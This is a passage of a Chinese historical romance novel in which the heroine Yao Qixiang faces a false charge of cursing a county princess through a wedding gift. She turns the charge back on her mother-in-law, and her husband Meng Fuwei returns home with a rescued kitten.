这段词写得极为隐晦,若不细听根本判断不出,姚戚香还是听见隔壁间的人笑谈时才明白的。 她知晓,船夫这样,是在讨贵妇的喜欢,他自觉粗鄙、笨拙,并不急色,与贵妇那自大、冷漠的丈夫形成了对比。 可……可他又不是船夫,他是孟扶危。 他是天子宠臣,是朝中重臣,是能够做太子太傅的人。 何必……何必这样对她呢? 姚戚香昨夜确实舒服极了,她将热透了的脸埋进自己掌心,就这样躲了好半天,才慢吞吞下了床。 再不吃点什么,她就要饿得前胸贴后背了。 厨房那边已经准备了早点,姚戚香吃过早饭,上午便无事可做了,只等着午后一过,钟嬷嬷过来授课。 这些日子,姚戚香已觉出钟嬷嬷此人虽严厉、冷淡,但并不是个坏人,每次她有什么不解去请教的话,钟嬷嬷都会为她一一详细解释,不得不说嫁到孟家来,她确实实实在在得了不少好处。 提起孟扶危,姚戚香又不免心猿意马起来,她正躺在一张藤椅上慢悠悠摇着,手边就放着新鲜的软杏,姚戚香拿了一个,余光瞥向墙角,才发现那儿站着的人不见了。 “云韬今日不在?”姚戚香问,云韬素日里就像是一棵树,总是栽在那墙角,突然没了也难以叫人发现。 若不是她心里还在想着孟扶危的事,恐怕都注意不到他。 茗玉在她身后道:“云韬跟着公子出去了。” “哦……”姚戚香点点头,她知道孟扶危在外一般都是带天禄的,甚少带云韬出去,又问,“那他今日还回来吃晚饭吗?” 身后的茗玉忽然沉默了,姚戚香等了一会儿,等不到回答,忍不住转过身去看。 茗玉道:“……公子出远门了,没有十天半个月应该回不来。” 什么!? 姚戚香坐起了身,一双乌黑的狐狸眼中登时冒出火星子来。 孟扶危,他昨晚刚那样,今天就走了!?说也不同她说一声? 她甚少这样把鲜明的情绪放在脸上,茗玉见了,又斟酌着道:“公子查到了雇佣那批邬国死士之人的下落,此事是陛下钦点的。” 姚戚香皱紧了眉,将目光从茗玉身上移开,暗想——他最好是真的去处理公务了,而非…… 昨夜是他自己不要的,可不是她的错。 莫非……孟扶危那方面真的不成? 就在姚戚香乱想一通的时候,茗玉又道:“公子出门前,特地给娘子留了东西。” “什么?”姚戚香问。 茗玉挺直了背,拍了拍手,姚戚香眼前一黑,只见从不知哪个地方窜出十来个黑衣人,个个孔武有力,武艺高强的样子,十双眼睛炯炯有神。 “……”姚戚香噎了一下,怀疑地问茗玉,“这难道就是孟扶危给我留的东西?” 茗玉点头:“正是。” 姚戚香不可思议的同时,竟有些要气笑了,他走便走呗,留这几个人给她是什么意思?她是能用不成? “行了,都下去吧。”姚戚香烦躁地摆摆手。 从今早她睁开眼到现在,满脑子都在想等晚些时候见了孟扶危,她究竟要如何与他相处,要同他说些什么,一直想到方才,可没想到孟扶危直接出远门了,她倒是不必担忧接下来要如何相处的事,分明是松了一口气。 可她心里就是开心不起来。 此时,茗玉在她耳边道:“娘子,孟檀要娶宜宁县主了,您可要备份礼送去?” “谁?”姚戚香追问。 “宜宁县主,是护国公李炳的小孙女,与孟檀同岁。” “孟檀也就十五岁吧?”姚戚香看着茗玉问,“这护国公是什么人?当兵的?” “护国公是陛下的兄弟,年轻的时候在边塞戍兵,后来腿脚不便就回京养着了,在京中虽不算炙手可热,因为是宗室的人,门庭倒也并不冷落。” 姚戚香点点头,又问:“那这宜宁县主算下嫁了?” 茗玉想了想,再次点头:“若她嫁的是长公子,不算,嫁孟檀便算。” 姚戚香懂了,有些事情便是这么奇怪,分明是一个家族中出来的儿郎,但身份就是天差地别的。 “是要备份礼,但也不能太随意了,我斟酌斟酌。”姚戚香懒懒道,她对别个房里的家长里短没什么兴趣,听过也就罢了,但是孟府添人,添的还是个县主,这确实是值得她注意的。 眼下她一门心思想要拉拢孙月瑶,这要是再多一个县主,她岂不是又要费心去拉拢县主了? 依照她平素的习惯,得知未来的计划有了变故,很该立刻便重新部署的,可姚戚香不知自己是怎么了,竟如何也提不起劲头来。 孟檀的婚事定下了,孟元德那边连定亲都没敲定,那孟檀岂不是要成在孟元德前边了? 三房孟檀的婚事说办就操办了起来,也不知道三房私底下准备了多久,短短几日便将章程走得有模有样,婚期就定在下个月,比姚戚香想象中的还要快。 这对县主这样级别的人来说,婚事准备得算十分仓促了,但这到底是三房自己的事,且大房那边因着孟檀能高攀上护国公这样的门第也很高兴,这毕竟是孟氏一族的荣耀,都想着尽快将婚事定下,以免日后生变。 姚戚香实在不知这位宜宁县主的喜好,不过新婚贺礼,送如意虽然没有新意,但总是出不了错,于是姚戚香便让人找到了最好的玉器师傅,打造了一对血玉如意,分别在上面写下两人的名字,等装好礼盒送到孟檀手中时,已经是半个月之后的事了。 “孟扶危还没回来吗?”姚戚香问。 茗玉见她这样,难掩笑意轻轻摇了摇头:“没有,不过天禄今早寄了书信过来,说他们在那边又有了新的发现,要多耽搁几日,一行人全部安好,并未有人受伤。” 谁问了?姚戚香心想。 她只是担心孟檀大婚将近了孟扶危也回不来,她一个人难免有些尴尬罢了。 正此时,一伙家丁突然从外院闯入,不由分说上前便扣住了姚戚香与茗玉两人。拖着她们往外走。 “你们是什么人?!”姚戚香胳膊被拽得生疼,却又挣扎不开。 来人不发一言,只管将她往外带,可走的这条路姚戚香却格外熟悉——这不是去往云栖堂的路吗? 第36章 第36章 惹我?你们也配 云栖堂内坐满了人, 个个神色严肃,像是早就等着她的到来。 姚戚香被抓她的家丁一把推在了地上,那人道:“主母, 姚氏已然带到。” 姚戚香抬眸, 见常秋兰目中一片冷色,看着她面无表情道:“姚戚香,你可知罪?” “儿媳不知何罪之有。”姚戚香回了话, 面上也是一片平静, 既然常氏装都不装了,想要拿莫须有的罪名来扣她,那她自然也不必再装了。 “死到临头了你还装蒜!”常氏拍了拍桌子,挥手命人将一个盒子递到姚戚香面前。 姚戚香认出来了, 那是她送给三房孟檀的新婚贺礼。 她率先向孟檀看了过去, 眼神询问:“这是什么意思?我送的玉如意不合你意?” 孟檀面色平静,道:“嫂嫂在里面做了什么手脚,自己不知吗?” 姚戚香更疑惑了:“给你的新婚贺礼,我能做什么手脚?做与不做的,又有什么意义呢?” 她后面这个问题,孟檀似乎答不上来, 只是眼神示意让下人亲给姚戚香看, 姚戚香回眸,只见她送的那对玉如意中, 刻着县主名讳的那一柄中间被敲开了,血玉之内刻着一串时数, 以及一些鬼画符,最下面的两个字姚戚香认得了——不孕。 想都不必想,那串时数一定是宜宁县主的生辰八字了。 可她还是要问:“这些是什么?” 常秋兰冷笑:“姚氏, 证据确凿你还嘴硬什么?我本以为你是个好孩子,当初念你身世可怜才上门提亲,觉得你身无所依,将来一定会对危儿好的,真没想到,你与那些外界传言一般无二!你就是个……” 姚戚香没心思听她废话,她猛然起身,夺过那柄出错的玉如意,高高举起摔在了地上,霎时间砸了个稀巴烂。玉如意发出一声脆响,惊得屋中所有人都朝她看来。 姚戚香怒火中烧:“我精心备下的礼,居然被人污蔑成这样?难道瞧我是嫁入府中的新妇,便这样玩弄于我吗?若非为了送这对血玉如意,我也不会将我的私产花出大半去,以至于现在用度都要被迫缩减,宜宁县主嫁不嫁入孟家,于我究竟有何利弊?她生不生得出孩子,又与我有什么相干?” 她目光逼人盯着孟檀,开口:“难道是我要掌孟家的权吗?还是说县主生出的儿子,会妨碍到我身上来?” 自打见面起,姚氏留给人的印象便是柔弱、温善,且还算不上是个顶聪明的,且前些日子她为了芸若入府能够体面,还主动提出要抬芸若为贵妾,这些所有人都还记着。 今日见她发了这么大的火,离她最近的孟檀都被吓了一跳,怔怔望着她的样子说不出话来。 是……是啊,孟檀想,这个嫂嫂,又无所出,何必这么早就开始咒他的妻子不孕呢? 孙月瑶也被吓了一跳,她看了眼自己的夫君,见孟极一脸事不关己的模样,不免瞥了他一眼,也开口道:“这中间有什么误会?咱们着人去问问玉器匠人不就知晓了?” “哼,若是能找着人那便好了。”常秋兰道,“她早就将人送走了。” 姚戚香迎上常氏的视线,问道:“婆母的意思是,我为了诅咒素未谋面的县主,不但费尽心思在如意里暗藏乾坤,还大费周折将一个久居于此的匠人送出了城?我究竟是图的什么呢?” “姚氏,你虽擅伪装,这人心却难藏,你自然是担心县主身份尊贵,倘若生下儿子,便会和你的儿子争夺孟氏家主之位罢了。” 常秋兰言之凿凿 ,姚戚香了然,看来这就是她今日的罪名了,一个小官之女以厌胜之术构陷县主,会如何呢? 事发突然,她虽不能立刻搬出应对之策,但就算拼尽全力也要一争。 “是吗?原来这就是我的目的?”姚戚香道,“原来我尚未有孕,就要对可能生出的儿子这样打算了,不惜明目张胆陷害县主,陷害县主那个莫须有的儿子,还为此留下一个可能随时会被找到的人证?” “可是不对啊。”她道,“我的儿子,就算生下来,等他将来长成有资格去谋夺家主之位,最少也要二十年的时间,可眼下县主尚未嫁过来就遭我诅咒,万一东窗事发,县主不嫁了,我岂非平白担了风险?这件事若是传扬出去,那县主必定要对这桩婚事重新考量,孟檀娶不了县主,那孟家收益最大的儿郎是谁呢?” “好难猜啊。”姚戚香抿唇,“反正不是上有天子宠信,下有大权在握的我夫君呢。” 她字字清晰,话语回荡在这屋中,使人不由自主就将目光落到了常氏身上。 那只能是孟元德了。 孙月瑶见无一人朝她夫君看来,气闷地暗暗又登了孟极好几眼,别人嫁的都是好郎婿,凭什么她就嫁了个废物呢?还长成这样…… “姚戚香!”常氏又拍了下桌子,“你少在这里妖言惑众!” “我妖言惑众!?好!”姚戚香大声,“我敢在此立誓,究竟是谁出手做下诅咒县主之事,谁的儿子便永远无后,永无出头之日,声名狼藉,横死街头!” 她这誓发得重,压得屋内一时无人敢出声质疑,就连本来笃定是姚戚香的孟檀,此刻也摇摆起来——对啊,他反复想着,姚氏就算得逞,又能如何呢?她别说有子,她连身孕都没有。 常秋兰一双眼睛死死盯着姚戚香,她一手抓紧了桌沿,正要说些什么,就见一人从屋后走出,是满脸厉色的孟祁柏。 孟祁柏是孟氏现今的家主,孟氏真正的掌权人,他的判断对姚戚香来说举足轻重。 她望向孟祁柏,正要陈情,却见孟祁柏冷冷朝她看来,寒声道:“孟扶危之妻姚氏,私用厌胜之术诅咒县主,还巧言善辩不知悔改,蛇蝎心肠,今日就将她除去宗籍,拖出去扔回姚家。” “什么!?”孙月瑶惊得站了起来,却被常氏瞪了一眼,又只能无声坐下。 姚戚香皱紧了眉,她心口一坠,心中已然明了,此话若从孟祁柏口中说出那可就真的没有转圜之机了。 若她成了弃妇……她还怎可能报得了仇! 她冷冷瞧着常氏与孟祁柏,正想着要不要拔下头上的簪子杀了这两个贱人一了百了,就听孟祁柏又道:“姚氏出身低微,思前想后,她不敢一人谋此阴毒计策,势必是与孟扶危狼狈为奸,觊觎孟氏家主之位,今日正好你们都在,便将孟扶危也一并除去宗籍!” 什么!? 这下不光姚戚香,这屋中所有人都满脸震惊地看向孟祁柏。 将孟扶危除籍?啊??? 姚戚香愣了愣,忽又禁不住笑了一声,她这公爹是失心疯了不成? 他要因为这桩可大可小的事,将孟家最有出息的子孙赶出孟家?这简直是滑天下之大稽。 等等……不对,这根本就是疯子才能做出的事。 难道这件事,从一开始就是为了对付孟扶危才设下的?姚戚香不由看向常氏,可她看常氏眼中的惊讶之色也不像是假的。 这件事,不在常氏的意料之中。 这件事,是孟祁柏一人之策。 “来人!马上将姚氏带下去!等天黑将她送回姚家!”孟祁柏一声令下,便有两个家丁一前一后朝姚戚香扑了过来。 姚戚香向后躲了躲,余光见茗玉轻松挣开了束缚她的家丁,两脚便将扑过来的两人踹了下去。 与此同时一直蹲守在房顶听了全程的十几个黑衣人也都跳了下来,纷纷拔刀将姚戚香围在了中间。 姚戚香怔住了。 哎呀。 孟扶危,难道他还真算到这一步了?他留给她的这十多个人,竟还真的派上了用场。 她脑子里头回一片懵然,只是愣愣瞧着眼前的情状,仿佛事不关己。 茗玉拔出长刀,站在了姚戚香面前,看着那边的孟祁柏与常秋兰开口:“主人说了,若他离府,孟家人有什么不安分的,便是谋逆。” 她目光冷冽,字字铿锵,姚戚香错眼看她,眼神惊艳。 茗玉……会武功的? 屋内的孟家人们慌乱起来,孟极忙道:“这、这是干什么!此事可与我们二房无关啊!我们全程不知情的!今日也只是来凑个数!这件事结果如何,我们没有任何意见!” 孟檀也起了身,道:“有话好好说,全然不必到这个地步。” 说罢,他看向姚戚香,颔首道:“嫂嫂既然已经入了孟家的门,自然是孟家的人,我并无意错冤嫂嫂,只是事关县主,想要查清原委而已。” 姚戚香不说话了,能跟他们动刀子,她还费什么口舌?现在该费口舌的是他们了。 不过…… 她缓缓掏出帕子,捂住口鼻,作出垂泪哀戚的样子,将身一软:“天呐……孟家……你们……谋逆……天呐!” “你说什么胡话!”常秋兰起身,她环视一周,这黑衣人足足十多个,还都是身手不俗之人,孟府内平平的家丁自然不是这些人的对手。 常氏的气焰弱了下去:“这件事不过是误会一场,我身为主母,不过是例行盘问,此事尚未有所定论,也不一定就是姚氏做的,说不定是哪个胆大包天的下人……” “是啊。”姚戚香道,“反正不管是谁做的,她的儿子都要永远无后,永无出头之日,横死街头了。” 常秋兰的脸都快绿了。 一片混乱,孙月瑶吓得躲在孟极身后,人人自辩求情,眼神在孟祁柏与姚戚香之间来回逡巡,毕竟方才下了定论,惹恼了人的是孟祁柏。 孟祁柏那张老脸僵了一僵,梗着脖子道:“大胆!他还想弑父不成?” 茗玉开口:“君臣之下,何来父子?主人位至三司,受天子亲信,自然要为陛下诛尽逆臣。” 说罢,她手起刀落,方才羁押她们的家丁双腿被剜,溅出一片血来,各自痛呼一声跪在了地上。 姚戚香忙往旁边躲了躲,懵然地想,这是要真见血的。 见她真敢动刀,孟祁柏的脸色也变了变,往后靠着站了半晌,突然厉声去斥站在他身侧的常氏:“你看看你做的这是什么事!什么都没有查清便平白冤枉人!身为一家的主母,连这点明辨是非的能力都没有吗?” 姚戚香今日才算见识了什么叫做好戏,方才孟祁柏说要除去孟扶危宗籍时,她将常氏的震惊看在眼里,前后不到一刻钟,孟祁柏嘴里又成是常氏不明是非了。 他们既然狗咬狗,她自然也不便多话。 常秋兰被吼得哆嗦了两下,灰着脸色道:“此事是我失察……” 什么高门主母,百世孟家,内里竟也不过如此。 常氏也算是认错,屋里的众人又将目光落到了姚戚香身上,也不知他们是为何觉得,只要姚戚香点头,孟扶危的人就能退下的。 茗玉回头,看了姚戚香一眼,姚戚香收到了她的暗示,眸中暗流涌动。 常氏被孟祁柏推出来认错,她错已经认了,这时候若再对他们咄咄逼人,那此事传扬出去便会是孟扶危的过失。 孟扶危纵然得陛下宠信,此番借了诛逆之名,可到底是以下犯上,有违孝道。 若真开了这个口子,谁能保证有朝一日天家不会认为,孟扶危身为重臣,也会以下犯上呢? 她要在这里退,见好就收了。 可姚戚香……向来不做赔本的买卖。 众人只见,被高手围在中间的姚戚香张望着四周,一副无措的样子,宛如对这变动毫不知情,须臾,她眼角流下一滴泪来。 “婆母……”姚戚香重重跪了下来,“儿媳自问从嫁入府中,处处谨慎小心,孝顺恭敬,日日晨昏定省,若非婆母不肯见我,便从无懈怠,儿媳想知道自己究竟是何处做错了,才让婆母认为是儿媳施了那厌胜之术。” 她突然一跪,常氏也是一愣,屋里众人的节奏也不由得被姚戚香带着走。 今日的事,究竟是怎么起的?怎么就突然发现姚氏送出的血玉中刻了东西?刻在那么隐秘的地方,又为何会被轻易发现?这事……哪里都透着不对劲。 而姚戚香的目的很清楚,她今日就非要一个说法,非要起事的常秋兰给她一个交代,交出背后的凶手来,这凶手自然还不能是闲杂人等,还须是有些身份的,那么常氏便免不得要损兵折将。 她要让她的好婆母明确知晓,她可不是路边的野草,随便什么人都能去踩上两脚。 屋内鸦雀无声,屋外之人呈剑拔弩张之势,手拿寒刀的人却哭哭啼啼跪下来问他们要一个说法,这是什么道理? 有人想,这姚氏性子可真软,都这样了,还管这些做什么?横竖定不了她的罪了。 有人则沉默不语。 众矢之的的常秋兰如吞了苍蝇一般,半晌,她道:“好孩子,是我错怪了你,我也是一时情急,生怕误了檀儿的婚事,生怕触怒宜宁县主,这家中谁不是知根知底的,唯有你……是新来的,我也是一时想错。” 她话里话外将姚戚香往外排,姚戚香也不着她的道,哭腔道:“当日婆母突然要为夫君纳妾,儿媳宁愿自己受委屈,也要为那妾室求一个身份,婆母难道忘记了吗?如果这样的做法,还不能让婆母认同儿媳,儿媳究竟要如何做才能让婆母信我、疼我呢?” 她目光游荡,忽然落到了离她最近的那根珠子上,姚戚香哑声:“今日蒙受不白之冤,我姚戚香一生委屈不堪,在姚家受尽继母折磨,未成想终于嫁人挣脱樊笼,竟也要受此大辱,我这条命,不要也罢了!” 说罢,她便扭身往柱子上冲撞了过去。 “啊!!!”有人惊呼。 有人从椅子上跳了起来,忙去拉人。 “姚妹妹,别想不开啊!”有人说。 常秋兰一惊,声音高昂:“我定为你讨回个公道!” 姚戚香猛地止住了脚步,擦了擦脸上的泪,幽怨地看着常氏:“真的吗?” “……”常氏只觉得两眼一黑,“此事,我定查明缘由,绝不冤你!” “好……好。”姚戚香泪如雨下,“我就知道,婆母心里有我。” 说罢,她就在那里站定了,既没有让茗玉等人退下,也没有要离去的意思,只是定定望着常氏,竟是现在立刻便要个说法。 见状,孙月瑶道:“那就现在说清吧,趁着人都在,说清了事,否则事情一拖,不清不楚传扬了出去,再传出些什么不好听的话来……” 姚戚香又拭了拭泪,心中冷静地想,孙月瑶还是不错的,肯为她说话。 四方封锁,众目睽睽之下,常氏还能如何谋事?如何无中生有变出个替罪羔羊来?如何会有人心甘情愿心有灵犀在此刻主动站出,抵了常氏的罪? 只能是…… 姚戚香按住茗玉的手,慢慢将茗玉举刀的那只手按了下来,然后看着茗玉轻轻摇了摇头。 众人见她这样,更觉得姚戚香通情达理,撤兵有望。 屋中安静的足有半刻,突然有一人从常氏身后走出,重重跪了下来,是个年轻的女使。 “主母恕罪,此事是忍冬一人所为。” 常氏故作惊讶:“你说什么?你怎么会做下这样的事?!” 忍冬眼中噙泪,咬了咬牙,道:“是奴婢痴心妄想,心中倾慕三公子,嫉妒县主能嫁与三公子为妻,这才一时糊涂,在姚娘子送的贺礼上做了手脚。” 姚戚香冷眼瞧着,这么蹩脚的理由都想得出? 孙月瑶开口:“你为何要选姚戚香的贺礼?” “只因……”忍冬道,“只有唯有姚娘子的贺礼是专门去府外打的,奴婢最好接近。” “什么?”孟檀也皱起眉,他这个这事真是荒谬极了,区区一个女使,居然敢陷害县主。 常氏身边的女使,竟然倾慕他? 一见有人出来顶罪,常秋兰演都不演了,直接怒道:“好你个忍冬,我平日待你不薄,你竟敢胆大包天做出这种事来!你可知私用厌胜之术诅咒堂堂县主,会有什么罪过?” 忍冬哭着磕头乞求:“求主母饶我一命吧!奴婢真心爱慕三公子,痴心妄想一时昏了头了,今后愿出家为尼,再也不敢了!” 常秋兰适时看向孟檀,开口:“檀儿,此事……毕竟你是苦主,你待如何?” 孟檀一时说不出话来。 就在僵持之际,外面突然上来一人,道:“姚娘子,之前您指定打造玉如意的匠人已经找到了,可要现在带上来?” 此话一出,常秋兰霎时白了脸色。 姚戚香回头,道:“是吗?那他可招认了什么?” 那人道:“认了,那匠人亲口说,那日姚娘子离去后,又有一人找上前来自称是您身边的人。” 姚戚香向他走近,道:“你只与我一人说,那人是谁?” 黑衣人果真在姚戚香耳边说了几个字。 说罢,姚戚香的一双眼睛便向常秋兰看了过去。 她一步步朝前走,看着常秋兰的脸色愈发惨淡,她笑着开口:“婆母,此事事关重大,牵扯宜宁县主,往大了说,罪同谋逆,儿媳想再给那人一次机会,若她主动站出,儿媳便将此事私了,若非如此,儿媳就算是死,也要化成了鬼,将此事告上大理寺。” 常秋兰还要说什么,就听一旁的孙月瑶感叹了一句:“姚妹妹也真是仁善了。” “……” 姚戚香站在一侧,垂眸轻轻摩挲着自己的指尖,道:“忍冬,事到如今,你还要说这件事是你做的吗?你听好了,此事罪同谋逆,若你认下,不但帮不了别人脱罪,你也要沦为共犯,那你全家……” “不!不是我干的!”忍冬忙道,“不是我!是……” 她目光高抬,往人群中看去,而此刻又有一人从常氏身后站出,跪在了地上。 “主母息怒,此事是老奴一人所为。” 除却姚戚香,人人都面色迥异,只因出来跪着的人不是旁人,正是常秋兰的心腹,跟了她数十年的陪嫁——管氏。 管氏认罪,将时间地点和行事都说得清清楚楚,再无推脱的可能。 姚戚香终于心满意足,什么匠人啊,根本没有找到,也没人去找。 她方才拦着茗玉时,在茗玉手中写了几个字,让茗玉同她一起做局。 只要做了贼,任谁都会心虚的。 管氏做了此事,纵然搬出千万种理由,和常氏自己做的又有什么分别?到最后,孟檀看着常氏的眼神都变了。 常氏道:“我身边的人做下此等恶事,我亦难辞其咎,此事一了,必会好好补偿檀儿和……姚氏。” 她向她看来,姚戚香轻轻一笑:“人非圣贤,孰能无过?婆母知错能改,善莫大焉。” 第37章 第37章 我想你了 陷害县主之事一了, 姚戚香便回了松风堂,这一路上她都在想着日后要如何与已经撕破脸皮的常氏相处,便未曾注意到进屋之后, 里面站着一人。 他气定神闲, 正在穿着外衣,发梢未干,应是沐洗过后不久, 等姚戚香反应过来往身后看时, 茗玉不知何时已经将房门关起来了。 “……你什么时候回来的?”姚戚香问。 孟扶危转过身来,道:“半个时辰前。” 姚戚香大致算了算时候,那不就是她扬言要撞柱子的时候吗?敢情他早就来了,却一直都不曾露面! 姚戚香没了话讲, 多日不见, 她因那晚面对孟扶危时的尴尬早就淡却了不少,此时与他同处一室,倒也算理直气壮。 默了半晌,见孟扶危一直不开口,姚戚香忍不住了,她道:“你临走前就知道孟家的人会对我发难?” 所以才将那十几人留给了她? 孟扶危道:“我只是猜测云栖堂会找你麻烦, 却不想他们会拿孟檀的婚事大做文章。” 此事确实可大可小, 严重来说,都能治一个藐视皇权之罪, 再加上巫蛊之术,真定罪下来姚戚香恐怕必死无疑。 诚然孟家不可能将此事翻到明面上去, 毁了这桩婚事,得罪了护国公,对孟家没有任何好处。 可孟祁柏原本打算对她的做法, 也足够姚戚香身败名裂,永无抬头之日了。 是以,孟扶危才会觉得,她今日的应对令他惊艳。 可他心中,却无法因为这种惊艳而感到愉悦。 回到屋中,关上了门,姚戚香突然回过味来。 “孟祁柏原本想对付的人是你啊……”姚戚香用怀疑的目光看着他,她实在想不通,究竟是什么样的隔阂才会让一个父亲这样对待自己的儿子呢? 而且,孟扶危可是天子宠臣,位高权重,他在京中的威望,甚至远胜过孟祁柏呢。 要知道,若是姚振廷得了个他这样出色的儿子,只怕是会永远感激涕零,他定会把孟扶危供起来的,怕是换他磕头认孟扶危做爹都心甘情愿。 孟祁柏却不然。 难道,孟祁柏是疑心孟扶危觊觎他的孟氏家主之位? 可姚戚香觉得这孟家也不过如此,做孟家家主,远远比不上孟扶危的三司使的身份啊。 思来想去,姚戚香可真不明白这是为什么,所以她只能将疑惑的目光投向孟扶危,可在他那双漆黑的双眸中,她什么也没有看见。 他没有情绪,只露出坦然之色,仿佛对这一切早就习以为常。 看来这背后的隐情她是问不出了,姚戚香在那云栖堂足足站了好长时间,她累得躺到了床上,随意踢开鞋子,舒服得叹了一声。 她的身子懈怠下来,脑子却还清醒着,习惯将今日发生的事又再度复盘了一遍。 今日之事,孟檀是不知情的,常氏本打算对付的是她,就连常氏也没想到孟祁柏为何会突然对孟扶危发难,当听见孟祁柏的那个决定时,她也是一脸震惊。 姚戚香笃定,就连常秋兰也不知晓孟祁柏为何会对孟扶危如此。 她掀眸,忽而认真又细致地看着孟扶危,从眉眼到鼻梁,再到嘴唇,目光大胆放肆,孟扶危长得……是不像孟祁柏啊。 可孟氏这么大的家族中,最重血脉清正,怎么可能会出现混淆血脉的事呢? “看我做什么?”孟扶危迎上她的视线,他不光朝她看了过来,他还朝她走了过来。 姚戚香蓦地就想起半个多月前,在这张床上发生的事,她一下子坐直了身子。 “没什么……我……” 她还在斟酌着说辞,可这次孟扶危迅速得没有给她任何时间,他大步走来,不由分说一把将她揽进了怀里,他的下巴搭在她的肩上,双手紧紧裹住她的腰,这样紧密的拥抱让姚戚香意外极了。 而且她还觉得,这样有些热。 不过她并没有将孟扶危推开,她鼻息间全都涌入孟扶危的气息,想起今日发生的事,姚戚香无可奈何地拧了下眉。 唉,他不会还要因为自己爹不要他了让她安慰吧? 姚戚香正纠结着,觉得自己实在开不了这个口,更觉得此事没什么好安慰的,但说不定孟扶危是那种很看重亲爹的…… “我想你了。”他忽而在她耳边道。 姚戚香愣住了,她惊到问出了声:“什么?” “我想你。”孟扶危一边紧紧抱着她,一边低声在她耳边说着,他的声音并不见失落低沉,反而透着股愉悦。 姚戚香这下真的不知道要怎么说话了。 她愣愣看着孟扶危,像是从未见过他这个人一般。 “太子之事,迫在眉睫,又事关重大,我不得不去。”他道。 姚戚香明白过来,孟扶危这是在跟她解释,她忽然觉得这些话有些耳熟,默了瞬,她突然想起其实那天孟扶危临走前是跟她告过别的。 他说此事事关重大,又是陛下密令,他必须要去,她当时分明听见了,只是因为那会儿还睡着,意识昏迷,记不清了。 “……我知道了。”姚戚香道,她其实也没有因为孟扶危外出之事有一点怪他,只是在当天有些失落罢了。 失落什么呢…… 这些日子里,她渐渐想明白了,她忍不住对孟扶危这个人,这个本就是她夫君,她却一直没有真的当他是夫君的人,生出了几分期待。 连骨肉血亲的姚家都没有善待她,可孟扶危却待她那样好,即便他所做的大概也只是寻常人家一个丈夫对妻子本就该做的,可她还是觉得很多。 这些年里,姚戚香身在姚家,她没有了娘,离了姚家,她以为自己无处可去,姚家虽多是非,但好歹是个地方可以遮风挡雨。 可当她真正离了姚家,才知道这外面其实没有那么多坏天气,风吹雨打的,只有姚家。 那个生了她,又养了她的地方,便是这世上最差的所在。 姚戚香蜷起手指,她下意识玩弄着自己的衣裙,她不擅长任何甜言蜜语的回应,孟扶危说这些话时,她除了无措,脑中便只剩下一片空白。 好在,孟扶危似乎没有要她的回应,他解释完之后便松开了她,对她道:“我在来的路上,给你带了礼物。” “是什么?”姚戚香问,她其实对孟扶危的话并没有提起多少兴趣,左不过是钗环首饰,衣服之类的罢了,至多是什么地方上的小玩意,她对这些都兴致缺缺。 然而等天禄从外面进来,将一个裹得严严实实的布包打开之后,姚戚香才看清那里面躺着一只雪白带着黄斑的猫崽。 猫崽只有巴掌大小,腿弯处还缠着一圈灰布。 孟扶危道:“它跑上了树,自己下不来,在上面叫来叫去,天禄便将它抱了下来,伤是本来就有的,像是被利器所伤,所幸伤口不深。” 姚戚香无所适从,她从未想过,要养一只猫或者兔子,可是在孟扶危将这只猫崽递到她面前时,她脑中却已经不自觉在想,平日要喂它些什么,会不会乱跑,找不到了怎么办之类的,竟已经在为并不属于她的小家伙担心了。 “……我不会养。”姚戚香推托着,她觉得自己本就居无定所,将来会怎么样谁可知?哪里有心力去养这种东西? 孟扶危也没有逼她,只道:“那就先让它留着,等伤好了再放它回去,反正是野生的猫儿,影响不了什么。” 姚戚香这下没话说了,那也就是个把月的事情,留就留着吧。 最近这些日子,姚戚香跟钟嬷嬷学东西愈发勤勉了,她觉得自己积攒了那么多的不懂的东西,好像突然开了窍似的,学什么会什么,学什么都甚好上手,连最不上心的插花和点茶的手艺都能得钟嬷嬷称赞了。 她来了兴头,以前想起还要顶着个毒日头上课,她脑袋都疼,现在每日都巴不得到那个时候,再也不告假了。 而且,不知是不是她的错觉,她觉得自从自己上手之后,钟嬷嬷对她的态度都温和了不少。 “娘子近日的课业都完成得不错。”钟嬷嬷收了那些有问题的账册,让姚戚香寻出上面的问题来,做了批注再交给她,眼下正瞧着那些批注点头。 “假以时日,娘子便是自己经营店铺,也绝对没有什么问题了。” 姚戚香好奇:“我真能自己经营铺子吗?” 钟嬷嬷答:“官眷不可,只能如公子这般以东家的名号放出去,不过经营的路子还是要看娘子自己,毕竟底下人就算再可信,娘子自己也不能没有戒心。” 姚戚香懂得这个道理,闻言轻轻点头,心里却生出旁的想法来——照如此说,她积攒下的钱开几家铺子不就好了,这样一来她自己也有得收入,也许等她与孟扶危和离之后,也不是非要再嫁人的。 一想到不必再嫁人的这种可能性,姚戚香满心都觉得畅快起来。 “哎呀!快看快看!它跑上去了!” 不远处,传来女使的低呼声和欢笑声,姚戚香循声望了过去,瞧见了那只黄白相间的狸猫,午后正是乘凉贪闲的时候,几个年纪小的女使正围在它身边说说笑笑。 “那是长公子带回来的吧?”钟嬷嬷见着笑了笑,“年轻的小姑娘们,是都喜欢这样可爱的小东西。” 狸猫爬上了院子里的秋千架,正在扑上面的绳结。 可爱吗?姚戚香缓缓收回目光,暗想,她可不觉得那狸猫有多可爱,而且,她也没有多喜欢…… 第38章 第38章 叫我夫君 一个月的时间说过就过, 三房已经将迎娶县主的章程准备得差不多了,甚至还为了县主住得舒服,三房把主要的几间屋子都修葺了一番, 成婚的日子将近, 整个孟府的气氛都被三房带得热闹起来。 这日,姚戚香正准备小睡片刻,不曾想二房的孙月瑶竟主动来拜访她了。她将孙月瑶请入屋中, 上了冰镇的水果和清凉的茶点, 打算瞧瞧孙月瑶今日的来意。 两人不可避免地提到孟府将要迎来的婚事,姚戚香问:“我记得安然妹妹明年就及笄了,孟檀做了护国公的乘龙快婿,三叔也要紧着操心安然的婚事了吧?” 孟安然是孟檀的庶妹, 两人关系不远不近, 姚戚香甚少见到这两人说话,平常见面时,孟安然时常低着头,到现在,姚戚香想起孟安然的样子都有些恍惚。 “不好说,你也知晓, 安然那丫头容貌平庸, 三叔又是个懒散的性子,三房那边没有女人操持, 那两个孩子都是各顾各的。” 姚戚香奇了:“什么?护国公的这桩婚事,竟不是三叔那边筹谋的吗?” “哪儿能啊!”孙月瑶道, “他那个人,能顾好自己就不错,决计不会为儿女们的事操心的, 你还不知道?孟檀与宜宁县主,是两情相悦,这才有了县主嫁入孟家的姻缘。” “两情相悦?”姚戚香听着这四个字,没来由地心情都跟着好了不少,“真的?” 她有些不可置信,这世上竟还能有两情相悦走到一起的婚事? 